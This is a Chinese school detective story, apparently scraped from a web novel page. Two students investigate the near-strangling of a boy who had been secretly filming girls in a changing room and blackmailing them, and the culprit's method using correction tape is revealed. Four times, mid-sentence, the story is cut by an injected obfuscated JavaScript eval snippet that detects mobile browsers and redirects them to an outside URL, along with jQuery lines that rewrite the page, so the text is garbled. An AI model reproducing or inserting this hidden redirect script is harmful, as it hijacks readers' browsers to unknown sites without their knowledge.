《"观棋亦语"探案事件簿》
1. (1)“尸体”
占星术……占星术……
“啊哈,找到了!”
我的目光兴奋地停在书脊上,将“占星术杀人魔法”一排大字逐个扫过,手也急不可耐地伸了过去。
感受着怀里书的厚度,我喜滋滋地哼着歌,走在书架与窗户间的窄小廊道中。这时,一个熟悉的身影在眼前出现——
“欸?你也在这?!”
那我的突然出现,似乎将那人吓了一跳。只见他正迅速从书架旁缩回手——这人身高一米七左右,书生模样,脸上出现一种遇到麻烦事的神情。
这人是我从初中到高中的同班同学兼同好(其实大多数情况下都是我硬拉着他入坑),名叫艾怡芊。
“对呀,来重温一下经典。”我朝艾怡芊晃了晃手中的书。
“哦,这样啊……”他心不在焉地点点头,看上去想马上转身离开。
“等下!”我忙叫住他,“说到‘值得’,我上上个月和你说的那本值得一看的《推理要在放学后》,你看了吗?”
我通过他为难的表情,即刻验证了自己的推理。
“呃……”他敷衍地推脱着,向面前的一排埃勒里·奎因伸出手去,“先等我看完手头上的再说啦……”
“不行!这都过多久了?赶紧去看啊!”我顿时理解了雾之峰凉那种想掐人脖子的愤怒。
就在我“怀怒未发”时,一声尖叫,从图书馆窗外传入我的耳中。
怎么回事?
我暂时放过艾怡芊,立刻转过身,打开窗栓,费劲地把窗推开,探出头去——
这里顺带一提,我们学校的图书馆是一栋三层的独栋建筑。我和艾怡芊此刻正在G区文学书架中,位于图书馆一层。推开窗后,映入眼帘的景象,是图书馆与学校围墙间的一片杂草地。这个地方极为偏僻冷清,平时也无人打理。
而现在,我伸出头后,竟看见一个男生头朝外、脸朝下,倒在窗下半人高的杂草丛中。
他旁边两三米的地方,站着一位带圆框眼镜的短发女生,浑身颤抖着,正惊恐地捂住嘴——看来刚才那声尖叫就是她发出的。
“他……他不会死了吧……”女生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063866|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
断断续续地说完,求助似的转向我们。
由于眼前一幕实在是过于震惊,我仍不知所措地懵在原地。
就在这时,一个身影突然从我身边挤过,双手撑住窗台,敏捷地跃了出去——是艾怡芊。
他俯下身,伸手去摸那男生的脖子,又去探他的呼吸。
“还有脉搏和呼吸,但很微弱。”他做出判断后,马上转头朝那女生喊,“快去叫人!”
女生似乎巴不得快点离开这具“尸体”,立刻就惊慌地跑开了。
这时,我才从恍惚中醒过神来,忙把书随手往书架上一搁,也翻出窗外。
“……”虽说看了那么多推理小说,可这种有人倒地的场景我还是第一次见。除了杵在那里,我真的想不出此时还能干什么。
“……杜苓瑛,”艾怡芊突然唤我,眼神异常凝重,“你过来看。”
他拨开男生脖子旁的杂草。
我略感疑惑,小心凑近他指着的地方——
在男生的侧颈,有一道明显的青紫色细痕,一直延伸至喉结处。
2. (2)意外频发
我,杜苓瑛,刚成为南穗市潜龙中学高一(6)班的一名女学生不久。身着深蓝色运动校服,身高一米六一,留一头齐短发,右鬓别着个黄色小熊发夹。
不过,跟和我穿同一套校服的大多数人比,我有些特别之处——爱好推理小说。看似普通的女高中生,其实脑子里时刻都在想着杀人犯罪与杀人犯罪的推理——当然前者我大概是不会实践的,而后者的实践机会似乎也被残酷现实埋没了……吗?
倒在人迹罕至之地的神秘男尸——咳,是差点成为男尸的男生,不知为何也出现在此地的陌生女生,还有两名被无端卷入的旁观者……现实无疑给了我一桩特殊事件。
事已至此,旁观者怎么还能旁观呢?这种情况下,就一定要出现天才侦探啊!
那这是否意味着,我大显身手,证明自己不单单只是个像艾怡芊所认为的推理中二病的机会来了?!
不不不,别那么兴奋了杜苓瑛。尽管这男的跟你非亲非故,但你总不能把自己的快乐建立在别人的痛苦之上吧?
我赶紧从“高中生名侦探杜苓瑛巧破奇案”的幻想中脱离出来,专注于眼前现实——
“你说你当时是去那里探险?”
德育处主任何峻轩老师皱起眉头,狐疑地看向那名短发女生。
“是……是的,我听过这里有鬼的校园传说……”
女生名叫栗依雏,高一,猫毛般蓬松的短发,加上一双被镜片放大的警惕猫眼,此刻娇小畏缩的她看上去就像只怕人的小姜黄猫。
也难怪何峻轩会这么怀疑,毕竟“姜黄猫”看上去根本就不具备探险的胆量——不过似乎也不具备杀人的胆量。
“我进到杂草地后,突然发现里面倒着一个人,吓得我叫了一声……”
有鬼的传说是在刚开学那会流传起来的。据说有人结束学生会工作后晚归,结果听到杂草地传来凄厉的哀叫声。这传说灵异归灵异,却也没有激起太大水花——毕竟在一箩筐的校园传说中,这算不了什么。再说除了这一位外,也没多少人愿意弄脏鞋子,走进蚊虫滋生的杂草地中探险。
“什么乱七八糟的啊……探险闹鬼地……马克思唯物主义不知道吗?没必要为了这种无聊的事浪费时间。”何峻轩的话语透出不屑,栗依雏怯怯地低下头,“那你还有看到别的什么人吗?”
“没有……我就看到了他们两个。”栗依雏朝我和艾怡芊瞥了一眼。
此刻,我、艾怡芊和栗依雏正在学校会议室里接受问询。那个叫李翼的男生已被紧急送往就医,而他颈上的勒痕鲜明地指出一个可怕的事实——
“总之,这一定是起严重的杀人未遂事件,而杂草地恰恰还是监控死角,可见犯人是有预谋的。”何峻轩阴沉着脸,来来回回地踱步,对一旁的保安队队长说,“去调杂草地入口附近的监控,重点找比李翼高大的人。”
“等一下,”艾怡芊突然开口,“图书馆一楼G区附近的监控也要调。”
“为什么?”何峻轩瞪向他,“那里又不是案发现场。”
“案发现场”这个专有名词是什么鬼啦,这又不是推理小说,何主任你也有中二病吗?
“但在那里也同样可以作案。”艾怡芊没有被何峻轩威严的气势所恐吓,“李翼脖子后面没有勒痕,说明犯人是从他后方勒住他的。”
他拿出手机,给何峻轩展示他之前拍的照片。
——
“……喂,”杂草地中,我看着艾怡芊拿着手机,从不同角度给倒下的那人拍了好几张照片,“你这样……不太好吧?”
“总得保存下案发现场原貌吧,”艾怡芊头也不抬,调整着摄像头焦距,“不然怎么快速找出犯人?”
“艾怡芊呀艾怡芊,我看你才是中二病吧?还是个缺德的中二病。”
没有理会我毫不留情的评价,艾怡芊突然把那人翻了过来,让他脸朝上躺着。
“欸!别乱动啊!”我急忙抓住他大叫,“不是说要保护案发现场吗?!”
“保什么护啊?他又没死。”艾怡芊继续将镜头对准那人,“到时候等别人把他抬到医院,什么现场啦证据啦肯定全都没了。再说,拍了照的现场不需要保护。”
他推掉我按在他肩上的手:“你别在我耳边嚷嚷了,赶紧去周围找线索。”
……你这欠揍的语气是怎么回事,真当自己是御手洗洁了?我翻了个白眼,还是听他的话开始了搜查。
——
“……李翼头朝窗外倒下,如果他没被移动过,那犯人就是在李翼与图书馆之间勒住他的。但除此之外,还有另一种可能。”
何峻轩的目光从冷静分析案情的艾怡芊,移向他手中醒目的手机,嘴唇张了张,最后还是选择睁只眼闭只眼。
“……图书馆一楼地面比草地要高出一截。李翼身高一米七五左右,他的肩胛骨应该和窗框底
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063867|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
端差不多齐平。如果犯人提前准备好挂绳一类的东西——啊,那是因为李翼脖子上的勒痕较细,不可能是普通麻绳造成的。”他指了指照片中那道细痕。
“然后,犯人打开窗,用细绳勒住背窗而站的李翼,同样也能达到行凶效果。
“李翼的脚与图书馆外墙之间的距离不大,犯人不至于够不着他。同时,李翼肩胛骨以下的身体都被窗框底下的墙挡住,不存在失手把他拉入图书馆内的情况。因此,这个作案手法有一定的可能性。而如果犯人真的使用了这种方法,那他的身高就不会影响行凶——毕竟图书馆地面能把他垫高。”
艾怡芊一口气说完。
何峻轩怔怔地盯着艾怡芊,好像发现了一只金字塔水怪。栗依雏也瞪大双眼,目光在何峻轩与艾怡芊之间做往返跑。
芊呀,你怎么进化了,难道有奇怪的风吹过你家阳台吗?
……虽说你想到的我也想到了。
最后还是保安队队长打破了沉默:“那……我去把图书馆的监控也调来?”
“好……好,”何峻轩抹了把额上的汗,挥挥手,“卫叔,你去吧。”
卫叔的脚步远去后,何峻轩又对我们发话——
“你!”何峻轩凌厉地看向栗依雏,后者吓得缩了一下,“你虽然看上去力气小,但也有一定嫌疑。而你们——”
他转向我和艾怡芊:“你们当时在G区,也有可能动手——别以为指出作案手法我就会默认你无罪。”他瞥了一眼艾怡芊,“你们三个,都把身上的东西拿出来!”
我扯开裤袋,拿出借书卡,摊开双手:“上手搜身就不必了吧?而且我比艾怡芊后到那扇窗前,我可是完完全全清白的!”
何峻轩冷哼一声:“目前还不能排除共犯的可能性。”
“……谁要和这家伙做共犯啊。”艾怡芊小声咕哝。
栗依雏默默打开背包,拿出——一包火腿肠、一盒牛奶和几个纸碟?
何峻轩皱了皱眉:“你这是要在学校里野餐吗?”然后他立刻转向艾怡芊,“你的呢?”
艾怡芊叹了口气,将帆布袋放在桌上,却不急着打开,而是转头看向我——
“杜苓瑛,你知道我刚才为什么用‘挂绳’作参考吗?”
他苦笑着,从袋子里扔出来个木制平安符,刻有两排字——“五爷赐福,出入平安”。
平安符上还系着一条长长的红绳。
3. (3)逆转吧!
“嗬——原来就是你小子!”
“吱呀——”
会议室的门正好打开,卫叔瞪大眼睛看着眼前戏剧性的一幕:
何峻轩恍然大悟般伸手指着艾怡芊——前一刻是自信满满名侦探,这一秒是无奈被捕嫌疑犯。
而在艾怡芊那张无语至极的脸旁边,是捂住脸痛苦颤抖的我。
噗——对不起艾怡芊,这一反转实在是太好笑了。我拼命把自己的嘴角往下压。
就在艾怡芊处于“危机存亡之秋”时,另一个人从卫叔旁探出头来。
“呀,犯人已经找到了啊。”他轻笑着,“那我就不叨扰了,告辞——”他转身欲走。
“喂——你等等!”何峻轩看清来人后,马上怒喝起来,“谭深!”
“哎呀,何主任,既然都知道是谁干的了,就不必再在我身上浪费时间了嘛。”
被叫作谭深的那人无奈地走进来——他身高大约一米八,头发有些杂乱。仔细一看,他相貌其实有几分潇洒,但这很快就被他身上那种不良学生似的游手好闲掩盖住了。
“……现在还没有充分证据能指认我是犯人。”艾怡芊终于不悦地开口了。
谭深听到后,转头看向艾怡芊,一愣。
“怎么了?”在被谭深盯了数秒后,嫌疑犯艾怡芊没好气地发问,“我脸上粘了什么东西吗?还是说你在对我使用演绎法?”
“不不不,我在来的路上听卫叔说,推理出图书馆行凶可能性的是位男同学。所以我只是……”谭深笑着偏过头,捋了捋头发,“好奇到底要长副什么样子,才能瞬间从侦探逆转成犯人。”
我的理智之弦再也绷不住了。
于是,在我失去控制的笑声中,传来艾怡芊直白的诘问:
“你有病吧?!”
“哈哈哈……这就是你中二推理换来的后果……哈哈哈哈……”
“够了!别开茶话会了!你们当这是什么地方?!”
何峻轩的怒吼几乎要掀起整座行政楼。
我连忙立正站好,心中默念对不起我错了下次还笑。
这时,我才注意到卫叔旁边还有位扎着高马尾的女生——她大约一米六五,面容清秀,却蒙上了漠然,似乎正因这起突发事件感到烦躁。
“何主任,这是相关的监控录像。”卫叔递出一个U盘,“大致情况我已经向他们两个解释过了。”
我们便在电脑上一同看起录像来。
(2024年9月4日)
图书馆左侧监控:
6:00,谭深背着挎包,从图书馆左侧走进杂草地;
6:05,他又慢慢走了出来。
“后来我盯着他走回了宿舍,在我去叫他之前,他一直都没出来过。”卫叔补充道。
“呵,好嘛。你在宿舍的那段时间,无论是什么都能被处理掉吧?”何俊轩冷冷地看着谭深,后者无奈笑笑。
图书馆右侧监控:
5:48,李翼快步从图书馆右侧进入杂草地,看上去异常兴奋;
6:08,栗依雏走进杂草地;
6:09,栗依雏惊慌地跑了出来。
“她出来后,就直接叫住了路过的您。”卫叔冲何俊轩点了点头。
图书馆一楼监控:
监控画面中,窗户被书架挡住了,被一同挡住的还有G区1号书架后的我和艾怡芊。
5:40,那位名叫秦沄的高三女生背着书包来到图书馆,在靠窗走廊徘徊;
5:52,她在G区1号书架后停留;
5:54,艾怡芊进入图书馆,走向图书咨询机;
5:56,秦沄离开G区1号书架,径直走入报刊室;
6:03,艾怡芊走向G区,站在了1号书架后;
6:05,我走进图书馆大门;
6:07,我的身影消失在了G区1号书架后。
“唔……”看完录像后,何俊轩依次扫了我们一眼,“栗依雏,嗯……虽然你在杂草地探险的说法令人啼笑皆非,但你没有机会处理作案工具,并且保安也没在那片草地搜到可以作为凶器的东西,所以你的嫌疑最小。”
接着他又看向我:“杜苓瑛,你确实没有作案时间,除非你和他互相包庇。”他瞥了眼艾怡芊,“所以你的嫌疑也比较小。”
“……我才不会冒着危险包庇她呢。”艾怡芊嘀咕。
“你可是有较大嫌疑的!”何俊轩再次瞪了他一眼,“在你的帆布袋里有可以勒人的平安符挂绳。按照你刚才说的那样,你完全可以在G区1号书架后打开窗,不受干扰地杀——”
“等一下,请让我插句嘴。”谭深突然发话。
“你又要干什么?”何俊轩立刻把矛头对准了他。
“这位犯人……”
“目、前、还、没有证据……”艾怡芊咬牙切齿。
“噢,对不起艾同学。”谭深的笑脸却丝毫没有半点“对不起”的意思,“何主任,据监控所示,艾同学六点零三分才来到书架后面。可我六点来到杂草地时,却没有看到任何站着的人影。所以,在那个时候,李翼应该已经倒在地上,被杂草遮掩住了。这应该能洗清艾同学的嫌疑吧?”
“那要是你们两个互相包庇呢?”何俊轩仍不依不饶。
“我可不想被这种第一次见面就叫了我三次犯人的人包庇。”艾怡芊直言不讳。
“哎呀,亏我刚刚还帮你证明清白呢。”谭深笑叹一声,又捋了下头发,“不过正如艾同学所说,我们是第一次见面,关系没有好到会互相包庇的程度啦。”
“哼,那好吧。艾怡芊的嫌疑也变小了,那你呢?”何俊轩开始向谭深发起进攻,“六点到六点零五这段时间中,你这家伙完全可以在杂草地不受干扰地杀人,然后再回到宿舍处理作案工具。最关键的是,你不仅有作案时间,还有作案动机啊!”
确实,昨天有过这样一回事:李翼和舍友回到宿舍,发现不是自己舍友的谭深正站在里面,手里还拿了本相册。遭到质问后,他推说自己走错了门。
……什么白痴理由啊?高一和高二的宿舍楼是分开的,编也编得靠谱一点啊!
撞巧了,李翼有个舍友叫孙器,上个月正好在宿舍丢了一台录像机,他大叫着把整个宿舍翻了个底朝天都没找回来。
于是,因为谭深的“误入”,即使李翼确认了谭深手中的相册不是从这拿的,孙器也认定之前偷了自己的录像机是他,并愤怒地把这件事传得沸沸扬扬。如果说谭深谋杀李翼,是为了报复导致了这一切的他,也不是毫无道理。
但——也太牵强了吧,除非这人真的是个白痴。
“好像确实如此。”谭深故作无奈地叹了口气,“不过,我到杂草地是为了别的事。”他拿出一张纸。
纸上是看不出字迹的艺术字:我知道你为什么要进李翼宿舍,下午6:00来学校图书馆后的杂草地见我。
“这是在我课桌抽屉里发现的——别想了,我们班的监控坏了。结果,我在那等了五分钟都没人来。我这个人,本来就不喜欢被别人牵着鼻子走,更何况那还是个不守时的人,于是我便‘相委而去’了。”
……这么重要的事用如此随意的态度对待,这人果然是个白痴。
“当然,你们也都看见了,我是从左侧进去的。我一直待在左半边草地没有乱走,所以并没有注意到右半边的草丛中是否藏了倒下的李翼。”他耸了耸肩。
“那你怎么证明这封信不是你自己写的呢?又怎么证明你确实一直待在左半边草地呢?”何俊轩扬起眉毛。
“这个嘛……我确实无法证明。不过我注意到了一个异常情况——”谭深不慌不忙道,“我从杂草地走出来时,听到图书馆左侧的窗户里,有类似于美工刀被推出的‘咔哒咔哒’声传出。而那个地方——”
他笑着看向面无表情的秦沄:
“应该是报刊室吧。可惜了,报刊室也没有监控。”
“我想那声音大概是从别的地方传来的。”
来到会议室以后,秦沄第一次开口说话,声音有些沙哑。
“毕竟我身上可没带美工刀。”
她取下书包,把里面的东西倒在桌上——笔袋、水壶,仅此而已。她又扯开笔袋,向我们展示里面普通的文具。
“再说了,就算我有美工刀,我也不能用它去勒李翼吧。”她冷笑道。
“后来我让人搜了一下报刊室和G区1号书架附近,也没找到可疑物。”卫叔在一旁说。
“好啊,现在看来,嫌疑最大的就是你咯!”何俊轩气势汹汹地瞪着谭深。
咳咳,不知道谭深本人有没有发现,他同样从侦探逆转成了犯人。
眼看轮到谭深处于“危急存亡之秋”……
“等一下!”
刀下留人!
是时候轮到我逆转大局了——我腿都要站麻了!
“又怎么啦,你不是已经被基本排除嫌疑了吗?”何俊轩不耐烦地嚷道。
“是这样没错。可是何主任,您排除其他人嫌疑的时候,似乎太草率了。”我将短发帅气地往后一撩,不紧不慢地批评道。
“你这是什么意思?”何俊轩似乎不太能接受这个批评。
“何主任,你在定义勒人的‘可疑物’时,你把它想成了什么?”我看着满脸不解的何俊轩,不禁想再一次放声大笑。
“绳子。你把它简单地想成了绳子,或者跟挂绳一样看起来像绳子的东西,对吧?可是,您应该再想多一点,毕竟能勒人的东西,不一定全都长了副绳子的样子。”我嘴角轻轻一勾,“比如这个——”
我从艾怡芊的帆布袋里抓起他的笔袋,从里面拿出——
“修正带?”何俊轩倍感奇怪,“你拿这个干什么?”
“看好咯,”我晃了晃修正带,“此时此刻,它只是一个正正常常的修正带,可如果这样——”
我将修正带的带子揪起,使劲一扯——
“杜苓瑛!”
我不顾艾怡芊愤怒的叫声,一口气扯出了几十厘米长的带子,然后继续讲解,“看,这是什么?”
我知道,此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063868|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时所有的瞳孔都在无声放大。
“然后,只要我再这样——”
我把修正带换到左手,再挽起右手的长袖,将这几十厘米长的带子往右手手腕上一套,紧接着用力拉紧。
待到右手快要失去知觉后,我潇洒地收回带子。
“看到了吗?”我用修正带一指右手腕——
一道细痕清晰地印在了上面,与李翼脖子上的几乎一模一样。
“这,就是你们未曾设想的作案工具。”
我放下修正带,从欲言又止的艾怡芊手上拿过他的手机。
“当然我也清楚,你们不接受没有根据的说法。所以我找来了决定性证据。”
——
“……嗯?”蹲在倒下男生身旁的艾怡芊疑惑地嘀咕,“这是什么?”
“怎么啦?”我没好气地停下搜查,走回艾怡芊那。
“你看。”他指着男生脖子上那条细痕——
青紫色勒痕之上,印有零丁白点。
“唔……”我凑近观察,“有点像……油漆?他脖子上沾了白漆吗?”
“我觉得不太像……”艾怡芊摇了摇头,思索着,“但我现在能想到的最像它的东西,确实只有油漆了。”
他仔细地将勒痕同白点一起拍了下来。
——
“现在我想明白了,这白点确实不是油漆。”我把艾怡芊手机里的照片给他们看。
“这是修正带上面的白色涂料。”
我再次举起修正带,捏起勒过我右手腕后皱在一起的带子。
“不过嘛,使用完后,这么长一条带子确实有点明显。所以就需要这样——”
我打开修正带的外壳,开始拨弄里面的齿轮收回带子——
“咔哒咔哒咔哒……”
如美工刀被推出一样的声音,在无言的会议室里格外清晰。
我停下手中动作。
“大家刚才都看到了,勒完人后的带子会皱在一起。而艾怡芊的修正带在被我使用前,还是正常的。”
说完这段话后,我将修正带往桌子上一搁,从脸色苍白的秦沄身旁走过。
我从她的笔袋里拿出另一个修正带,抽出里面的带子——
原本半厘米宽的带子,此刻皱成了细细的一条,在空中微微摇晃,仿佛正不屑一顾地嘲讽着滑稽现实。
秦沄深深吸了一口气,然后开口:
“你说得没错,我确实在报刊室里拨回了修正带的带子,但这是因为我之前不小心把它弄坏了。”她语气冷淡,“我来图书馆只是为了借书,并没有打算去勒死李翼。至于他脖子上的白点,我也不知道他是从哪弄上的。同时——”
她竖起食指:“你的推理有一个严重的漏洞。”
“嗯?”我心中一紧,“是什么?”
“犯人要勒住窗外的李翼,就得先快速推开李翼身后的窗,趁他没反应过来时动手。可图书馆的玻璃是磨砂玻璃,里面的人无法看见外面的景象。如果我要准确判断李翼在哪扇窗后面,就得把一扇扇窗推开再拉回来。但是——”
她轻蔑地笑了笑:“那么多声推拉窗的声音,他会听不到吗?除非你认为我有一试就中的运气。”
局势逆转中,我保持沉默。
“所以,”秦沄冷冷地盯着我,“犯人在图书馆里行凶的概率极小。”
我轻轻摇了摇头:
“你说得确实有道理,但我得提醒一句——你好像记错了。”
我把手机塞回给身旁的艾怡芊:“这个卫叔转述给你的漏洞推理不是我的,是他的——你的问题你来解决!”
艾怡芊不屑置辩地看着我。
“你该不会无法自圆其说吧?那就让我——”
“谁无法自圆其说了?”他皱了皱眉,“我当然也想到了。”
他停下话头叹了口气,才继续他的推理。
“因为磨砂玻璃表面粗糙,光线照射在上面会发生漫反射,所以才使人无法看见玻璃后的景象。但是,在某些情况下,它也能变得像普通玻璃一样透明。”
艾怡芊转头瞥了一眼会议室的磨砂玻璃窗户,从桌上拿起秦沄的水壶,拧开盖子,往掌心里倒了一些水。
然后他朝窗户走去,将沾了水的手掌往上一抹。
“啊!”栗依雏惊叫了一声。
原本灰蒙一片的玻璃上,出现了一抹透亮——水沾在上面,重新构建了一个比较光滑的平面,使光线得以沿直线传播,磨砂玻璃便变透明了。尽管仍有些朦胧,但也能大致看见外面的景象。
“你就是这样,找到了李翼背对着的那扇窗。”艾怡芊淡淡道。
秦沄咬紧嘴唇,一言不发。
“对了,你刚刚试图质疑我的推理——”我插话道。
“怎么又成你的推理了?”
“——那我也质疑一下你的说辞。”我没理会艾怡芊鄙夷的质问,“你之前说你来图书馆只是为了借书,可是——”
我直视她的双眼,下定决心:
“你为什么没有带借书卡呢?”
4. (4)“工具”
沉默中,只有墙上挂钟的滴答声。窗外早已变得漆黑一片,将会议室里的白炽灯衬得格外刺眼。
“可、可是……”
嚅嗫着开口的是栗依雏。
“秦学姐为什么要杀李翼呢?他们两个应该不认识吧。”
“这个嘛……”回答她的是倚在墙上的谭深,“就要牵扯到另一个案子了,对吧?”
他看向我。
我看向秦沄。
秦沄低着头,眼神黯淡。
“你们知道了多少,都说出来吧。”她似乎在竭力控制自己的声音不要颤抖。
“反正,我也受够了。”
——
“同学你好,你叫杜苓瑛是吧?我是高二(7)班的李翼。现在你看看这是什么?”
李翼一脸邪笑,将一张照片举在我眼前。
照片中,是刚上完游泳课的我。
在女更衣室中的我。
“?!你……”骂出一堆要被消音的话后,我朝他扑去。
“哎呀呀,你想要吗?”他狞笑着躲开,“我还有很多哦~”
理智将愤怒压了下去,我站定在原地,抱起手臂瞪着他。
“所以呢?你想怎样?”
“哟,比起其他人,你冷静得挺快嘛。不过要是让全校同学一起来评判你的身材,你还能保持这副表情吗?”李翼晃了晃照片,眼中闪着恶毒的光,“如果不能的话,就再给我发几张吧?”
我难以置信地看着他。
“怎么?我的要求应该不是很过分吧?还是说你——”
“不,我只是单纯好奇是什么给了你能威胁我的信心。”我感到好笑,“你爱把那张照片放哪就放哪吧,告辞。”
扔下这句话,我转身就走。
“嗯?你不相信我真能干出这种事?”李翼的喊叫声从我身后传来,“我警告你,等你在各个网站上看到这张照片,你后悔都来不及!”
“哦?”我头也不回,“那我可真是期待呢~”
蠢货,难道他真的以为我会跟某些电影或漫画里的女主一样,轻轻松松就被钓上钩吗?要是贴在学校,监控这种东西可不是摆设;要是发到社交平台上,网管可不是白吃饭的;要是发在网管涉及不到的那些地方,与我何干?说自己看到的人就是在自首了。
再说了,我还有终极手段——遇事不决鉴AI。
不过,他刚刚说的“比起其他人”……
“这畜牲到底还威胁了多少女生啊……”我起了一身鸡皮疙瘩。
走过学校公告栏,一张新通知引起了我的注意——
“新社团推理社招新……推理社?!”我高兴地跳起来,“好耶!终于让我遇上推理社了——嗯?”
我注意到这张招新通知里还有一句特别的话:兼接受侦探委托。
一个想法突然在我脑海中冒出来,我赶紧去看社长姓名——
社长:谭深[高一(3)班]。
“这种地方你自己来就好啦,干嘛还要委托我?”
谭深一脸无语地站在女更衣室里,看着正在仔细观察墙面的我。
“万一那家伙突然过来怎么办?再说,好歹我也是你的第一个委托者欸,给我认真服务!”
此刻是午餐时间,我和谭深确认李翼进了食堂后,便直奔女更衣室,想要找出李翼的偷拍工具。
“他总不可能亲身上阵吧?一定是放置了录像机之类的东西,就像《雾之峰凉的放学后》一章中写的那样。”我头也不抬地盯着墙壁。
接着,我的目光对上了一个排气扇。扇口堆积的落叶中,似乎有什么东西反射着光——镜头!
“我记得这个排气扇坏掉了,怪不得他能不受遮挡地拍到呢。”
“好了,快出去找吧!”谭深巴不得赶紧出去。
我们学校傍山而建,女更衣室后面是一块草木杂生的坡地。
“找到了,”谭深的声音从坡地传来,“有一张课桌摆在那……”
“呵,这家伙的罪名又多了一条——侵占学校财产。”
“……课桌上有台录像机——话说他怎么拿这么贵的牌子来偷拍?”
“谁知道呢?你还是先拿过来吧。”
谭深踩着落叶重新出现。他一手掸着身上的灰,一手举起录像机朝我晃了晃。
“看!”他脸上显出一副得意的神情,“现在打算怎么办?拿着这玩意去找老师?”
“呃……”我沉吟了一会,“但我们现在没有证据证明是他干的——要不你先把这东西放回去吧。”
谭深脸上的得意神情一下子就没了。
“……等到他回收录像机,我就拍下来,以其人之道还其人之身!”我兴奋地打了个响指,“对了,你还可以去他宿舍找找其他证据。”
谭深抱怨般叹了口气,重新转向坡地。
“等等!”在他又要翻过栏杆时,我叫住了他。
“又怎么啦?”他看上去十分心累。
我冲着录像机镜头比了个耶。
背靠走廊栏杆,下面是熙熙攘攘的人群。刚刚自己为搜证闯入李翼宿舍,在他床垫下看到的那个东西又一次浮现于谭深眼前。
一整本相册。看了封面上那个恶心的标题后,猜都不用猜里面是什么东西。李翼抓住他后,甚至都不敢承认那东西是自己的。
就是没想到那个录像机竟然是李翼偷来的,如杜苓瑛所愿,那家伙又多了一条盗窃罪——但这个罪名似乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063869|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要被失主和何主任安到自己头上了。想到这里,谭深苦笑着叹了口气。
这时,一个女生从他视线中经过,脸庞漂亮,却尽显憔悴。
秦沄。她怀里课本的封面上写着。和那本相册夹着的其中一张标签上的名字一样。
他叫住了她。
你就这样甘愿成为对他言听计从的工具吗?
他是这样对她说的。
他的意思是让她停止给李翼发照片,然后去告诉任何一个可以帮助她的人。
可没想到她……
——
“……被其他人知道了……我最恐惧的事情发生了。”秦沄用不带感情的语气陈述着,双眼却流露出无限绝望,“在这之后,李翼又找上我,他……他……”
我沉默地将目光移开,投向办公室角落那个脏兮兮的背包。
——
“芊,这里有个书包!”我拨开几株杂草,大声喊出我的发现。
“你看看里面有什么?”艾怡芊仍蹲在李翼身旁拍照。
我拉开拉链,看到了一个熟悉的录像机。
“这个包好像就是他的。”啧,错过了他回收录像机的关键时刻吗?我继续翻看着,然后猛地抽了一口气——
一个长方体小纸盒,上面的商标明明白白地告诉了我里面是什么东西。
我攥紧了拳头。
混蛋,渣滓,恶魔……
——
“……明明都要高考了,他还要这样折磨我,导致我的成绩受到了很大影响。现在他还要……”秦沄的声音终于出现了些许颤抖,“……我实在是受够了,我不想一直作为他满足自己欲望的工具活下去。于是我便计划了这次行动。
“李翼让我五点五十去杂草地,我便写信给谭深让他六点来,想把嫌疑转嫁给他。先前,我打算只用普通绳子勒死李翼,然后扔在草地里。但如果这样的话,我也会有‘杀人后抛弃作案工具’的嫌疑。而要是李翼拍的那些东西被发现,这嫌疑就会变得更大。我必须要做到全身而退。
“于是,我选择了用修正带的带子杀人,再在报刊室里待到别人来叫我去接受问询,假装自己‘不具有作案工具’,完完全全洗脱掉所有嫌疑。
“而在我隔着衣袖捏住带子,使劲勒住李翼时,我听到了图书馆门口传来的风铃声。我意识到有别人推门进来了,便急忙抽回带子,按住他的头往外一推,关上窗离开了。”
“……所以他才没死。”艾怡芊轻轻地说。
“对不起……谭深……对不起……”秦沄的话语带上了哭腔,“我也不想这样……我也不想杀人,可我实在是……”
夜,沉重得令人喘不过气。一片黑暗中,只有秦沄的啜泣声回荡着。
5. (5)告一段落
“真没想到刚开学就遇到这种事……话说我该说不愧是你吗,他偷拍了很多人,可好像只有你不在乎。”
“呵呵,那可真是谢谢夸奖了。”我冲艾怡芊撇了撇嘴。
